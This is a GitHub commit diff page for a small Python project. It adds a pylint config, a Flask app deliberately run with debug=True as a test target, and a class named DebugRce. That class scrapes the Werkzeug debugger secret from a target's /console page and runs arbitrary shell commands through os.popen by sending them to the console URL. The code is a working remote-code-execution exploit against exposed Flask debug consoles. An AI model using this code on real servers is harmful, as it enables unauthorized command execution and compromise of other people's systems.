-
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
4 changed files
with
28 additions
and
11 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,3 @@ | ||
[FORMAT] | ||
indent-string=\t | ||
disable=E0402,E0401 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,11 @@ | ||
'''This file is used to create a Flask debug instance for testing''' | ||
from flask import Flask | ||
|
||
app = Flask(__name__) | ||
|
||
@app.route('/') | ||
def main(): | ||
raise | ||
'''Empty method for root route''' | ||
return None | ||
|
||
app.run("127.0.0.1", debug=True, port=80) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,12 +1,23 @@ | ||
'''Parser class''' | ||
from requests_html import HTMLSession | ||
|
||
class DebugRce: | ||
def __init__(self, URL) -> None: | ||
self.URL = URL | ||
'''RCE class''' | ||
def __init__(self, url) -> None: | ||
'''init method''' | ||
self.url = url | ||
self.req = HTMLSession() | ||
self.secret = self.req.get(f'http://{self.URL}/console').html.find('script')[1].text.split(' ')[-1][1:-2] | ||
self.secret = self.req.get( | ||
f'http://{self.url}/console').html.find('script')[1].text.split(' ')[-1][1:-2] | ||
|
||
def exec(self, cmd) -> list: | ||
self.cmd = f'''__import__('os').popen('{cmd}').read();''' | ||
self.res = self.req.get(f'http://{self.URL}/console?__debugger__=yes&cmd={self.cmd}&frm=0&s={self.secret}') | ||
return self.res.html.text[1:-1].split('\\n')[0:-1] | ||
'''.exec() method used to execute arbitrary comands''' | ||
|
||
cmd = f'''__import__('os').popen('{cmd}').read();''' | ||
res = self.req.get( | ||
f'http://{self.url}/console?__debugger__=yes&cmd={cmd}&frm=0&s={self.secret}') | ||
return res.html.text[1:-1].split('\\n')[0:-1] | ||
|
||
def show_url(self): | ||
'''.show_url() method used to show URL''' | ||
return self.url |